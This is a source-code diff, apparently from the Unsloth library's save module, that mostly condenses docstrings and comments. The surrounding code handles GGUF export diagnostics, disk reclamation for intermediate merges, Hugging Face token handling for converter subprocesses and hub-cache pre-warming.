_OOM_KILL_PATTERNS = (def _iter_exception_chain(exc, max_links = 10):- """The exception plus its explicit causes and implicit contexts.-- Every layer here re-raises as a plain RuntimeError, so `returncode` and the- original wording only survive on the chained cause.- """+ """The exception plus its explicit causes and implicit contexts: every layer here re-raises as a plain RuntimeError, so `returncode` and the original wording only survive on the chained cause."""seen = set()queue = [exc]while queue and len(seen) < max_links:@@ -4906,25 +4277,7 @@ def _iter_exception_chain(exc, max_links = 10):def _gguf_child_was_oom_killed(exc):- """Was the converter killed by the kernel rather than failing on its own?-- llama.cpp's converter loads tensors in host RAM, and a large model exceeds- what a free Colab or Kaggle VM has. The kernel OOM-killer takes the process- and subprocess reports only-- Command '[...]' died with <Signals.SIGKILL: 9>-- which says nothing about memory. Gemma3N_(4B)-Audio hits this on both the- plain and the high-RAM T4, having trained, inferred and merged cleanly.-- SIGKILL alone is the signal: a converter that fails on its own raises and- exits non-zero, so a kill is either the OOM-killer or someone stopping the- run by hand, and both are worth naming.-- llama-quantize runs under a shell, which reports the kill as exit status- 137 instead of a signal, and every layer re-raises as a plain RuntimeError,- so the whole chain is checked rather than just the outermost exception.- """+ """Was the converter killed by the kernel rather than failing on its own? llama.cpp's converter loads tensors in host RAM and a large model exceeds a free Colab or Kaggle VM, so the OOM-killer takes the process and subprocess reports only "died with <Signals.SIGKILL: 9>", which says nothing about memory. Gemma3N_(4B)-Audio hits this on both the plain and the high-RAM T4 after training, inference and a clean merge. SIGKILL alone is the signal: a converter that fails on its own raises and exits non-zero, so a kill is the OOM-killer or a human, and both are worth naming. llama-quantize runs under a shell, which reports the kill as exit status 137, and every layer re-raises as a plain RuntimeError, so the whole chain is checked."""for error in _iter_exception_chain(exc):if getattr(error, "returncode", None) in (-9, 137):return True@@ -4940,37 +4293,13 @@ def _gguf_failure_looks_like_disk(needed_bytes = None,partial_output = None,):- """Is this GGUF failure plausibly about running out of disk?-- Two independent signals, either alone sufficient: each can be absent for a- good reason. The message may name ENOSPC after the directory was cleaned- up, and the disk may be genuinely full while a subprocess surfaced- something vaguer. Never raises; an unreadable path just means "not disk".-- `needed_bytes` is what the write that failed was actually going to take.- Room is a relation between the two, not a constant: a 400MB quant with 1.5GB- free has all the room it needs, and a caller that knows the size says so- rather than being measured against a fixed floor that has nothing to do with- it. The floor remains for callers that cannot say.-- `partial_output` is the file the failed write was filling. llama-quantize- streams straight into it (`llama-quant.cpp` opens the `ofstream` up front and- writes each tensor as it finishes one), so a pass that dies partway leaves- those bytes on disk -- out of the free space measured here, while- `needed_bytes` still describes the whole output. Crediting them back asks- "was there room for this output", not "is there room for a second copy of- it": without it a 10GB export that starts with 12GB free and dies on an- unsupported tensor after 5GB reads as a full disk and loses the rebuild- advice that would have addressed the real failure.- """+ """Is this GGUF failure plausibly about running out of disk? Two independent signals, either alone sufficient, since each can be absent for a good reason: the message may name ENOSPC after cleanup, and the disk may be genuinely full while a subprocess surfaced something vaguer. Never raises. `needed_bytes` is what the failed write was going to take, and room is a relation between the two rather than a constant: a 400MB quant with 1.5GB free has all the room it needs, and the fixed floor remains for callers that cannot say. `partial_output` is the file the failed write was filling: llama-quantize opens the ofstream up front and writes each tensor as it finishes, so a pass that dies partway leaves those bytes on disk, out of the free space measured here, while `needed_bytes` still describes the whole output. Crediting them back asks "was there room for this output", not "for a second copy of it": without it a 10GB export that starts with 12GB free and dies on an unsupported tensor after 5GB reads as a full disk and loses the rebuild advice."""text = f"{type(exc).__name__}: {exc}".lower()if any(p in text for p in _DISK_FULL_PATTERNS):return Trueif getattr(exc, "errno", None) == 28:return True- # The output directory holds the file, so it decides and the working directory is only a fallback: calling- # a roomy output disk full because an unrelated filesystem is short hides the advice that would have fixed- # the quantizer failure.+ # The output directory holds the file, so it decides and the working directory is only a fallback: calling a roomy output disk full because an unrelated filesystem is short hides the advice that would have fixed the quantizer failure.threshold = needed_bytes if needed_bytes and needed_bytes > 0 else _DISK_HEADROOM_BYTESwritten, written_device = 0, Noneif partial_output:@@ -4978,7 +4307,6 @@ def _gguf_failure_looks_like_disk(_stat = os.stat(partial_output)written, written_device = _stat.st_size, _stat.st_devexcept OSError:- # No partial output, or unreadable: nothing to credit back.written = 0for path in (save_directory, os.getcwd()):if not path:@@ -4989,8 +4317,7 @@ def _gguf_failure_looks_like_disk(# Never let the diagnostic be the thing that raises.continueif written:- # Only on the filesystem that actually holds the partial file: bytes on one device are not room on- # another.+ # Only on the filesystem that actually holds the partial file: bytes on one device are not room on another.try:if os.stat(path).st_dev == written_device:free += written@@ -5000,13 +4327,10 @@ def _gguf_failure_looks_like_disk(return False-# The full-precision output types; everything else llama-quantize writes is quantized and carries its nominal-# width as the leading digit of the name.+# The full-precision output types; everything else llama-quantize writes is quantized and carries its nominal width as the leading digit of the name._GGUF_BITS_PER_WEIGHT = {"f32": 32.0, "f16": 16.0, "bf16": 16.0}-# k- and i-quants store block scales and mins beside the weights, so a type is wider than its-# name; llama.cpp's 7B sizes keep that under a bit per weight (Q4_K_M near 4.5, Q6_K near 6.6),-# so 1.5 bounds every type.+# k- and i-quants store block scales and mins beside the weights, so a type is wider than its name; llama.cpp's 7B sizes keep that under a bit per weight (Q4_K_M near 4.5, Q6_K near 6.6), so 1.5 bounds every type._QUANT_OVERHEAD_BITS = 1.5_QUANT_NOMINAL_BITS = re.compile(r"^i?q(\d+)")@@ -5026,63 +4350,27 @@ def _gguf_output_size_ratio(first_conversion,upper_bound = True,):- """One output's size as a multiple of the base GGUF's, rounded either way.-- Both directions cost something. Charging every quantized pass a whole copy of- the base deletes a merge an export with room to spare would have kept (a- Q4_K_M off a 60GB base needs about 21GB); charging `f32` one copy under-counts- by half, since f32 off an f16 base writes four bytes a weight against two, and- under-counting costs the export outright.-- So price each pass by its own width, and measure the base the same way rather- than assuming it: q8_0 is a direct-convert outtype, so `first_conversion` is- not always 16-bit.-- `upper_bound` picks which way that price is rounded, because the two callers- are hurt by opposite errors and cannot share one number. Reclamation must not- under-count -- too small an estimate keeps a merge the quants then have no- room for -- so it adds each k-quant's block overhead and charges an- unrecognised type a whole copy of the base. Diagnosis must not over-count:- an inflated estimate reports a full disk for a failure that was nothing of- the sort and swallows the llama.cpp rebuild advice, so it takes each type's- nominal width (Q4_K_M really lands near 4.5 bits, never below 4) and returns- None for a type it cannot measure, which leaves the caller on the fixed floor.- """+ """One output's size as a multiple of the base GGUF's, rounded either way. Both directions cost something: charging every quantized pass a whole copy of the base deletes a merge an export with room to spare would have kept (a Q4_K_M off a 60GB base needs about 21GB), while charging `f32` one copy under-counts by half, since f32 off an f16 base writes four bytes a weight against two. So price each pass by its own width, and measure the base the same way rather than assuming it: q8_0 is a direct-convert outtype, so `first_conversion` is not always 16-bit. `upper_bound` picks which way that price is rounded, because the two callers are hurt by opposite errors: reclamation must not under-count, or too small an estimate keeps a merge the quants then have no room for, so it adds each k-quant's block overhead and charges an unrecognised type a whole copy of the base, while diagnosis must not over-count, or it reports a full disk for a failure that was nothing of the sort and swallows the llama.cpp rebuild advice, so it takes each type's nominal width and returns None for a type it cannot measure."""base = _gguf_type_bits(first_conversion) or 16.0target = _gguf_type_bits(quant_method)if target is None:- # Unrecognised: charge a whole copy of the base, as every method used to, or for a diagnosis admit the- # size is unknown.+ # Unrecognised: charge a whole copy of the base, as every method used to, or for a diagnosis admit the size is unknown.return 1.0 if upper_bound else Noneif upper_bound and str(quant_method).lower() not in _GGUF_BITS_PER_WEIGHT:target += _QUANT_OVERHEAD_BITSreturn target / base-# The names a disposable merge is written under, and only those: both writers emit safetensors. Neither stem-# nor extension is decoration, since transformers clears stale shards only when both match, so another stem or-# an older .bin is a file save_pretrained never writes or removes -- and this helper deletes permanently.+# The names a disposable merge is written under, and only those: both writers emit safetensors. Neither stem nor extension is decoration, since transformers clears stale shards only when both match, so another stem or an older .bin is a file save_pretrained never writes or removes, and this helper deletes permanently._MERGE_WEIGHT_NAME = re.compile(r"^(model|consolidated)(-\d{5}-of-\d{5})?\.safetensors$")-# The index save_pretrained writes for a sharded save. Safetensors only, like the matcher: a-# pytorch_model.bin.index.json belongs to an earlier save transformers leaves in place, and reading it would-# hand its shards to the deletion.+# The index save_pretrained writes for a sharded save. Safetensors only, like the matcher: a pytorch_model.bin.index.json belongs to an earlier save transformers leaves in place, and reading it would hand its shards to the deletion._WEIGHT_INDEX_NAMES = ("model.safetensors.index.json",)-# One shard of a sharded save, under any stem. Applied only to names an index already listed: alone it is far-# too wide, and dropping it from the matcher is what stopped a user's backup-00001-of-00002 being read as the-# merge.+# One shard of a sharded save, under any stem. Applied only to names an index already listed: alone it is far too wide, and dropping it from the matcher is what stopped a user's backup-00001-of-00002 being read as the merge._INDEX_SHARD_NAME = re.compile(r"^(?P<stem>.+)-(?P<part>\d{5})-of-(?P<total>\d{5})\.safetensors$")def _merge_weight_files(model_directory, names):- """The weight files a 16-bit merge writes, out of everything in a directory.-- Deleting by extension alone is what this exists to avoid: the merge lands in- a directory the caller named, routinely a training `output_dir` already- holding `training_args.bin`, `optimizer.pt` or `rng_state.pth`, artifacts- this export did not create and cannot recreate. So match the names- `save_pretrained` actually produces -- the index names its shards outright- when it wrote one, and the naming convention answers when it did not.- """+ """The weight files a 16-bit merge writes, out of everything in a directory. Deleting by extension alone is what this exists to avoid: the merge lands in a directory the caller named, routinely a training `output_dir` already holding `training_args.bin`, `optimizer.pt` or `rng_state.pth`, which this export did not create and cannot recreate. So match the names `save_pretrained` actually produces: the index names its shards outright when it wrote one, and the naming convention answers when it did not."""indexed, spent_indexes = set(), set()for index_name in _WEIGHT_INDEX_NAMES:if index_name not in names:@@ -5090,16 +4378,12 @@ def _merge_weight_files(model_directory, names):try:with open(os.path.join(model_directory, index_name), encoding = "utf-8") as index_file:weight_map = json.load(index_file).get("weight_map") or {}- # Basenames: only this directory is listed, so a path never matches.listed = {os.path.split(str(shard))[-1] for shard in weight_map.values()}except (OSError, ValueError, AttributeError):- # A missing or malformed index just means the names decide instead.continueif _is_one_whole_shard_set(listed, names):indexed.update(listed)- # The index goes with the shards it named, and `names` is already filtered to this export's files.- # Leaving it behind points at deleted files, and the next export's snapshot calls it preexisting,- # losing the only way a shard set under a missed stem is found again.+ # The index goes with the shards it named, and `names` is already filtered to this export's files. Leaving it behind points at deleted files, and the next export's snapshot calls it preexisting, losing the only way a shard set under a missed stem is found again.spent_indexes.add(index_name)return sorted(n for n in names if n in indexed or n in spent_indexes or _MERGE_WEIGHT_NAME.match(n)@@ -5107,23 +4391,7 @@ def _merge_weight_files(model_directory, names):def _is_one_whole_shard_set(listed, names):- """Does this index describe one complete shard set that is all still here?-- The index is the one way a name the convention misses still gets reclaimed,- which makes it the one way a file the convention *protects* gets deleted. An- index left behind by an earlier save is the case that matters: transformers- writes one only when a save shards, and its stale sweep never removes an- index (`model.safetensors.index` does not match the shard shape it looks- for), so an unsharded merge lands beside a previous save's index and inherits- whatever that one names.-- A live index is self-consistent in a way a stale one has no reason to be: it- lists `-00001-of-000NN` through `-000NN-of-000NN` under a single stem, and- every shard is on disk because the save just wrote them. Requiring that- rejects a mixed or partial listing, which is what a stale index beside a- fresh save looks like, while still reclaiming a sharded merge written under- a stem `_MERGE_WEIGHT_NAME` does not know.- """+ """Does this index describe one complete shard set that is all still here? The index is the one way a name the convention misses still gets reclaimed, which makes it the one way a file the convention PROTECTS gets deleted. An index left behind by an earlier save is the case that matters: transformers writes one only when a save shards, and its stale sweep never removes an index, so an unsharded merge lands beside a previous save's index and inherits whatever that one names. A live index is self-consistent in a way a stale one has no reason to be: it lists `-00001-of-000NN` through `-000NN-of-000NN` under a single stem and every shard is on disk. Requiring that rejects the mixed or partial listing a stale index makes, while still reclaiming a sharded merge written under a stem `_MERGE_WEIGHT_NAME` does not know."""if not listed:return Falsestems, totals = set(), set()@@ -5150,24 +4418,10 @@ def _free_merge_if_disk_is_tight(merge_is_disposable = False,preexisting_weights = None,):- """Reclaim the intermediate 16-bit merge when the quants will not fit.-- Returns the bytes freed, 0 if nothing was touched. Never raises: it runs to- make an export succeed and must not be the thing that fails it.-- `merge_is_disposable` is the whole safety story and defaults to off. It is- true only when this export wrote `model_directory` itself as a throwaway on- the way to the GGUF. A non-PEFT `save_pretrained_gguf` instead points the- converter at the checkpoint the model was loaded from, where deleting weights- would destroy the user's input model rather than an intermediate.-- Only the weight files go: config.json and the tokenizer are small and later- steps (the Modelfile, a push) may still want them.- """+ """Reclaim the intermediate 16-bit merge when the quants will not fit. Returns the bytes freed, 0 if nothing was touched. Never raises: it runs to make an export succeed and must not be the thing that fails it. `merge_is_disposable` is the whole safety story and defaults to off: it is true only when this export wrote `model_directory` itself as a throwaway on the way to the GGUF, while a non-PEFT `save_pretrained_gguf` instead points the converter at the checkpoint the model was loaded from, where deleting weights would destroy the user's input model. Only the weight files go: config.json and the tokenizer are small and later steps may still want them."""if not merge_is_disposable:return 0- # merge_is_disposable says the export wrote this directory; this says which files it wrote. A caller that- # cannot say gets no reclamation rather than a guess, since the guess is permanent.+ # merge_is_disposable says the export wrote this directory; this says which files it wrote. A caller that cannot say gets no reclamation rather than a guess, since the guess is permanent.if preexisting_weights is None:return 0if not model_directory or not os.path.isdir(model_directory):@@ -5176,8 +4430,7 @@ def _free_merge_if_disk_is_tight(if not quant_methods:return 0try:- # llama-quantize copies companions rather than quantizing them, so they are excluded from the output- # and memory estimates.+ # llama-quantize copies companions rather than quantizing them, so they are excluded from the output and memory estimates.base_bytes = sum(os.path.getsize(f)for f in initial_files@@ -5189,16 +4442,14 @@ def _free_merge_if_disk_is_tight(return 0target_directory = gguf_directory or model_directory- # gguf_directory can point anywhere, and freeing bytes on one filesystem does nothing for a pass writing- # to another: the merge would be deleted for a destination it cannot help.+ # gguf_directory can point anywhere, and freeing bytes on one filesystem does nothing for a pass writing to another: the merge would be deleted for a destination it cannot help.try:if os.stat(model_directory).st_dev != os.stat(target_directory).st_dev:return 0except OSError:return 0- # Every output stays on disk, so the passes add up. Overestimating costs an unnecessary deletion;- # underestimating costs the export.+ # Every output stays on disk, so the passes add up. Overestimating costs an unnecessary deletion; underestimating costs the export.needed = (base_bytes * sum(_gguf_output_size_ratio(m, first_conversion) for m in quant_methods)+ _DISK_HEADROOM_BYTES@@ -5214,11 +4465,8 @@ def _free_merge_if_disk_is_tight(try:names = os.listdir(model_directory)except OSError:- # Unreadable is no reason to fail an export that no longer needs it.return 0- # Anything already here is the caller's, whatever it is named: that is what stops a reused directory- # losing a finished sharded save or a consolidated.safetensors. It also drops a stale index from the- # reading below, so its shards are never inherited.+ # Anything already here is the caller's, whatever it is named: that is what stops a reused directory losing a finished sharded save or a consolidated.safetensors. It also drops a stale index from the reading below, so its shards are never inherited.names = [name for name in names if name not in preexisting_weights]for name in _merge_weight_files(model_directory, names):path = os.path.join(model_directory, name)@@ -5267,34 +4515,11 @@ def unsloth_push_to_hub_gguf(is_main_process: bool = True,gguf_shard_size: Optional[str] = None,):- """- Same as .push_to_hub(...) except 4bit weights are auto- converted to float16 then converted to GGUF / llama.cpp format.+ """Same as .push_to_hub(...) except 4bit weights are auto converted to float16 then converted to GGUF / llama.cpp format.- imatrix_file: importance matrix for llama-quantize (None = off; a path; or True to download- the upstream unsloth/<base>-GGUF imatrix). Required for the IQ low-bit quants.+ imatrix_file: importance matrix for llama-quantize (None = off; a path; or True to download the upstream unsloth/<base>-GGUF imatrix). Required for the IQ low-bit quants.- Choose for `quantization_method` to be:- "not_quantized" : "Recommended. Fast conversion. Slow inference, big files.",- "fast_quantized" : "Recommended. Fast conversion. OK inference, OK file size.",- "quantized" : "Recommended. Slow conversion. Fast inference, small files.",- "f32" : "Not recommended. Retains 100% accuracy, but super slow and memory hungry.",- "f16" : "Fastest conversion + retains 100% accuracy. Slow and memory hungry.",- "q8_0" : "Fast conversion. High resource use, but generally acceptable.",- "q4_k_m" : "Recommended. Uses Q6_K for half of the attention.wv and feed_forward.w2 tensors, else Q4_K",- "q5_k_m" : "Recommended. Uses Q6_K for half of the attention.wv and feed_forward.w2 tensors, else Q5_K",- "q2_k" : "Uses Q4_K for the attention.vw and feed_forward.w2 tensors, Q2_K for the other tensors.",- "q2_k_l" : "Q2_K_L with --output-tensor-type q8_0 --token-embedding-type q8_0.",- "q3_k_l" : "Uses Q5_K for the attention.wv, attention.wo, and feed_forward.w2 tensors, else Q3_K",- "q3_k_m" : "Uses Q4_K for the attention.wv, attention.wo, and feed_forward.w2 tensors, else Q3_K",- "q3_k_s" : "Uses Q3_K for all tensors",- "q4_0" : "Original quant method, 4-bit.",- "q4_1" : "Higher accuracy than q4_0 but not as high as q5_0. However has quicker inference than q5 models.",- "q4_k_s" : "Uses Q4_K for all tensors",- "q5_0" : "Higher accuracy, higher resource usage and slower inference.",- "q5_1" : "Even higher accuracy, resource usage and slower inference.",- "q5_k_s" : "Uses Q5_K for all tensors",- "q6_k" : "Uses Q8_K for all tensors",+ `quantization_method` may be an alias -- "not_quantized" (fast conversion, big files), "fast_quantized" (fast conversion, OK size), "quantized" (slow conversion, small files) -- or a llama.cpp ftype: f32, f16, q8_0, q4_0, q4_1, q5_0, q5_1, or a k-quant q2_k / q3_k_s / q3_k_m / q3_k_l / q4_k_s / q4_k_m / q5_k_s / q5_k_m / q6_k. The _m and _l k-quants keep the attention and feed_forward.w2 tensors a level or two above the nominal width; q2_k_l is the Unsloth preset adding --output-tensor-type q8_0 --token-embedding-type q8_0."""if tokenizer is None:raise ValueError("Unsloth: Saving to GGUF must have a tokenizer.")@@ -5351,7 +4576,7 @@ def unsloth_push_to_hub_gguf(tokenizer = tokenizer,quantization_method = quantization_method,first_conversion = first_conversion,- push_to_hub = False, # Never push from here+ push_to_hub = False,token = token, # forwarded so imatrix_file=True can read a gated/private upstreamis_main_process = is_main_process,max_shard_size = max_shard_size,@@ -5569,8 +4794,7 @@ def save_lora_to_custom_dir(model, tokenizer, save_directory):# Valid output float types for llama.cpp's convert_lora_to_gguf.py._LORA_GGUF_OUTTYPES = ("f32", "f16", "bf16", "q8_0", "auto")-# get_token() reads only the first two; the rest are third-party. HF_OIDC_* mint one, ahead of-# HF_TOKEN, on hub >= 1.19.+# get_token() reads only the first two; the rest are third-party. HF_OIDC_* mint one, ahead of HF_TOKEN, on hub >= 1.19._HF_TOKEN_ENV_KEYS = ("HF_TOKEN","HF_HUB_TOKEN",@@ -5583,11 +4807,7 @@ _HF_TOKEN_ENV_KEYS = (def _clean_save_token(token):- """Trim a token, keeping huggingface_hub's forced-anonymous ``False`` out of ``None``.-- Blank is not a credential: it reaches the Hub as a literal ``Bearer `` header, which 1.x- rejects outright. It means "I passed nothing", which is ``None``.- """+ """Trim a token, keeping huggingface_hub's forced-anonymous ``False`` out of ``None``. Blank is not a credential: it reaches the Hub as a literal ``Bearer `` header, which 1.x rejects outright, and it means "I passed nothing", which is ``None``."""if token is False or token is True:return tokenif isinstance(token, str):@@ -5596,13 +4816,7 @@ def _clean_save_token(token):def _apply_token_to_child_env(env, token, *, explicit):- """Hand a spawned converter exactly one credential, or none.-- The child inherits our env, so withholding a token is not denying one: the deny branch has to- scrub, token file included. Only an *explicit* token may clear the operator's- HF_HUB_DISABLE_IMPLICIT_TOKEN, since a token we resolved ourselves is the very implicit one- that flag suppresses.- """+ """Hand a spawned converter exactly one credential, or none. The child inherits our env, so withholding a token is not denying one and the deny branch has to scrub, token file included. Only an EXPLICIT token may clear the operator's HF_HUB_DISABLE_IMPLICIT_TOKEN, since a token we resolved ourselves is the very implicit one that flag suppresses."""if token is False:for key in _HF_TOKEN_ENV_KEYS:env.pop(key, None)@@ -5613,7 +4827,6 @@ def _apply_token_to_child_env(env, token, *, explicit):if not (isinstance(token, str) and token):returnif not explicit:- # Ambient: promote as before, scrub nothing.env["HF_TOKEN"] = tokenenv["HUGGING_FACE_HUB_TOKEN"] = tokenreturn@@ -5627,8 +4840,7 @@ def _apply_token_to_child_env(env, token, *, explicit):def _lora_base_model_id(model):- """Base model id for a PEFT model: prefer the active adapter's recorded base, else the- model config (the adapter's `base_model_name_or_path` is the authoritative source)."""+ """Base model id for a PEFT model: prefer the active adapter's recorded `base_model_name_or_path`, the authoritative source, else the model config."""base = Nonepeft_config = getattr(model, "peft_config", None)if isinstance(peft_config, dict) and peft_config:@@ -5649,8 +4861,7 @@ def _lora_base_model_id(model):return os.fspath(base) if base else ""-# Upstream Unsloth GGUF repos ship a calibration imatrix under one of these names; the GGUF one is suffixed-# .gguf_file so the Hub does not list it as a model, and renamed locally.+# Upstream Unsloth GGUF repos ship a calibration imatrix under one of these names; the GGUF one is suffixed .gguf_file so the Hub does not list it as a model, and renamed locally._IMATRIX_UPSTREAM_NAMES = ("imatrix_unsloth.dat", "imatrix_unsloth.gguf_file")@@ -5673,8 +4884,7 @@ def _gguf_repo_candidates(model):passif not name:continue- # The upstream imatrix lives in unsloth/<base>-GGUF, so map any org onto unsloth; an already-formed- # -GGUF id is kept as-is.+ # The upstream imatrix lives in unsloth/<base>-GGUF, so map any org onto unsloth; an already-formed -GGUF id is kept as-is.repo = name if name.endswith("-GGUF") else f"unsloth/{name.split('/')[-1]}-GGUF"if repo not in candidates:candidates.append(repo)@@ -5693,11 +4903,7 @@ def _materialize_imatrix(path, dest_dir):def _resolve_imatrix_file(model, imatrix_file, token, dest_dir):- """Turn the public imatrix_file value into a local imatrix path (or None).-- None/False -> None. A path -> that file (a *.gguf_file is renamed to *.gguf). True -> find and- download the upstream unsloth/<base>-GGUF imatrix, raising a clear error if none exists.- """+ """Turn the public imatrix_file value into a local imatrix path (or None). None/False gives None; a path gives that file (a *.gguf_file is renamed to *.gguf); True finds and downloads the upstream unsloth/<base>-GGUF imatrix, raising a clear error if none exists."""if imatrix_file is None or imatrix_file is False:return None@@ -5713,12 +4919,10 @@ def _resolve_imatrix_file(model, imatrix_file, token, dest_dir):f"(got {type(imatrix_file).__name__}).")- # imatrix_file=True auto-resolves from the upstream Unsloth GGUF repo. HfApi is the module-level import- # (save.py top); hf_hub_download is imported here since nothing else needs it.+ # imatrix_file=True auto-resolves from the upstream Unsloth GGUF repo. HfApi is the module-level import; hf_hub_download is imported here since nothing else needs it.from huggingface_hub import hf_hub_download- # As-is: pre-resolving made an ambient token look explicit, and only the header builder- # honours HF_HUB_DISABLE_IMPLICIT_TOKEN.+ # As-is: pre-resolving made an ambient token look explicit, and only the header builder honours HF_HUB_DISABLE_IMPLICIT_TOKEN.token = _clean_save_token(token)api = HfApi(token = token)repos = _gguf_repo_candidates(model)@@ -5754,10 +4958,7 @@ def _unsloth_save_lora_gguf(create_pr = False,revision = None,):- """Export a PEFT/LoRA adapter straight to a GGUF LoRA file via llama.cpp's- convert_lora_to_gguf.py (loadable with `llama-cli --lora ...`). For a full / merged model- use save_pretrained_gguf instead. `save_directory` is a local dir, or a Hub repo id when- push_to_hub=True. Returns the local .gguf path, or the repo id when pushing."""+ """Export a PEFT/LoRA adapter straight to a GGUF LoRA file via llama.cpp's convert_lora_to_gguf.py (loadable with `llama-cli --lora ...`). For a full or merged model use save_pretrained_gguf instead. `save_directory` is a local dir, or a Hub repo id when push_to_hub=True. Returns the local .gguf path, or the repo id when pushing."""import tempfileif not isinstance(model, (PeftModelForCausalLM, PeftModel)):@@ -5769,9 +4970,7 @@ def _unsloth_save_lora_gguf(raise ValueError(f"Unsloth: LoRA GGUF outtype must be one of {_LORA_GGUF_OUTTYPES} (got '{outtype}').")- # Resolve a token even for local saves: the converter may fetch a gated/private base config.- # False must not resolve one. Explicitness BEFORE the fallback: get_token() ignores the flag,- # so what it returns is the implicit token itself.+ # Resolve a token even for local saves: the converter may fetch a gated or private base config. False must not resolve one. Explicitness BEFORE the fallback: get_token() ignores the flag, so what it returns is the implicit token itself.token = _clean_save_token(token)token_is_explicit = token is not Noneif token is None or token is True:@@ -5790,26 +4989,21 @@ def _unsloth_save_lora_gguf(passmodel_name = _model_basename(base_model_id)- # Save the adapter: an isolated temp dir for a hub push, else save_directory itself, wrapped so it is always- # cleaned up.- # Save the adapter; for a hub push use an isolated temp dir, else save_directory itself.+ # Save the adapter: an isolated temp dir for a hub push, else save_directory itself, wrapped so it is always cleaned up.if push_to_hub:lora_dir = tempfile.mkdtemp(prefix = "unsloth-lora-gguf-")else:os.makedirs(save_directory, exist_ok = True)lora_dir = save_directory- # Wrap so the isolated temp dir used for hub pushes is always cleaned up, even on failure.try:save_lora_to_custom_dir(model, tokenizer, lora_dir)- # Ensure a full llama.cpp checkout, which ships convert_lora_to_gguf.py: a prebuilt install or a- # reused CWD copy carries binaries but not the script.+ # Ensure a full llama.cpp checkout, which ships convert_lora_to_gguf.py: a prebuilt install or a reused CWD copy carries binaries but not the script.install_llama_cpp(just_clone_repo = True)converter = os.path.join(LLAMA_CPP_DEFAULT_DIR, "convert_lora_to_gguf.py")if not os.path.exists(converter):- # A prebuilt llama.cpp install (or a reused CWD copy) carries binaries but not the converter script,- # so force a dedicated source checkout that ships it.+ # A prebuilt llama.cpp install (or a reused CWD copy) carries binaries but not the converter script, so force a dedicated source checkout.source_dir = os.path.join(os.path.dirname(os.path.normpath(LLAMA_CPP_DEFAULT_DIR)), "llama.cpp-source")@@ -5823,23 +5017,19 @@ def _unsloth_save_lora_gguf(out_gguf = os.path.join(lora_dir, f"{model_name}-lora-{outtype}.gguf")cmd = [sys.executable, converter, lora_dir, "--outfile", out_gguf, "--outtype", outtype]- # A local base dir provides config directly; otherwise the id is resolved from the Hub.if os.path.isdir(base_model_id):cmd += ["--base", base_model_id]else:cmd += ["--base-model-id", base_model_id]- # Pass --trust-remote-code only when the model really came from custom code (the approved load- # decision), not merely because its config carries an auto_map entry.+ # Pass --trust-remote-code only when the model really came from custom code (the approved load decision), not merely because its config carries an auto_map entry.if _loaded_via_remote_code(model):cmd.append("--trust-remote-code")- # Expose the token to the converter so it can fetch a gated/private base config from the Hub.env = os.environ.copy()_apply_token_to_child_env(env, token, explicit = token_is_explicit)print(f"Unsloth: Converting LoRA adapter at '{lora_dir}' to GGUF -> '{out_gguf}'")- # Resolve the cache from the live env like the merge, not huggingface_hub's frozen constants: a runtime- # cache redirect (read-only default, Unsloth) would else miss (#6890).+ # Resolve the cache from the live env like the merge, not huggingface_hub's frozen constants: a runtime cache redirect (read-only default, Unsloth) would else miss (#6890).try:with subprocess.Popen(cmd,@@ -5925,7 +5115,7 @@ def unsloth_convert_lora_to_ggml_and_push_to_hub(def unsloth_convert_lora_to_ggml_and_save_locally(self,- save_directory: str, # Added parameter for the folder name+ save_directory: str,tokenizer,temporary_location: str = "_unsloth_temporary_saved_buffers",maximum_memory_usage: float = 0.85,@@ -5941,8 +5131,7 @@ from .models.loader_utils import (_tokenizer_wants_local_only,)-# Imported lazily at the two call sites: an older zoo, before its bitsandbytes import became optional, would-# otherwise break `import unsloth` on a host without bnb.+# Imported lazily at the two call sites: an older zoo, before its bitsandbytes import became optional, would otherwise break `import unsloth` on a host without bnb.from unsloth_zoo.llama_cpp import (install_llama_cpp,convert_to_gguf as _convert_to_gguf,@@ -5954,15 +5143,7 @@ def _prewarm_base_model_hub_cache(save_method = "merged_16bit",token = None,):- """Download the 16-bit base weights into the persistent HF hub cache before the merge.-- merge_and_overwrite_lora fetches missing shards with hf_hub_download(local_dir = ...),- which never populates the hub cache. When the merge directory is temporary (GGUF- checkpoint exports delete it after conversion), every export re-downloads the full- base model (#6890). Pre-warming the cache makes the first export download once and- later exports copy from the cache. Best-effort: any failure or skip falls back to- the streaming download. Disable with UNSLOTH_PREWARM_HUB_CACHE=0.- """+ """Download the 16-bit base weights into the persistent HF hub cache before the merge. merge_and_overwrite_lora fetches missing shards with hf_hub_download(local_dir = ...), which never populates the hub cache, so when the merge directory is temporary (GGUF checkpoint exports delete it after conversion) every export re-downloads the full base model (#6890). Pre-warming makes the first export download once and later ones copy from the cache. Best-effort: any failure or skip falls back to the streaming download. UNSLOTH_PREWARM_HUB_CACHE=0 disables."""_false = ("0", "false", "no", "off")if os.environ.get("UNSLOTH_PREWARM_HUB_CACHE", "1").strip().lower() in _false:return@@ -6003,8 +5184,7 @@ def _prewarm_base_model_hub_cache()if not model_name or is_local_path:return- # Mirror the merge: an FP8 base with a 16bit sibling merges onto the sibling, so pre-warm the sibling- # rather than the FP8 repo (#6890).+ # Mirror the merge: an FP8 base with a 16bit sibling merges onto the sibling, so pre-warm the sibling rather than the FP8 repo (#6890).if base_is_quantized and quant_type == "fp8" and save_method == "merged_16bit":try:from unsloth_zoo.saving_utils import _resolve_fp8_16bit_sibling@@ -6022,8 +5202,7 @@ def _prewarm_base_model_hub_cache(from huggingface_hub import HfFileSystem, hf_hub_download, snapshot_download- # Resolve the cache from the live env like the merge, not huggingface_hub's frozen constants, or a- # runtime cache redirect misses (#6890).+ # Resolve the cache from the live env like the merge, not huggingface_hub's frozen constants, or a runtime cache redirect misses (#6890).try:from unsloth_zoo.hf_cache import _active_caches_hub_cache = _active_caches()[1]@@ -6031,8 +5210,7 @@ def _prewarm_base_model_hub_cache(except Exception:hub_cache_dir = None- # Mirror the zoo's shard listing (drop consolidated.safetensors when real shards coexist) so the- # cached set is a superset of what the merge looks up.+ # Mirror the zoo's shard listing (drop consolidated.safetensors when real shards coexist) so the cached set is a superset of what the merge looks up.shard_names = []total_size_in_bytes = 0for x in HfFileSystem(token = token).ls(model_name, detail = True):@@ -6056,8 +5234,7 @@ def _prewarm_base_model_hub_cache(except Exception:pass- # Mirror the merge's index filter on the download path: some repos ship shards the index omits, so- # keep only indexed ones or the disk gate over-counts.+ # Mirror the merge's index filter on the download path: some repos ship shards the index omits, so keep only indexed ones or the disk gate over-counts.if len(shard_names) > 1:try:import json as _json@@ -6250,8 +5427,7 @@ def unsloth_generic_save(elif save_method == "merged_4bit_forced":save_method = "merged_4bit"- # Full-finetuned 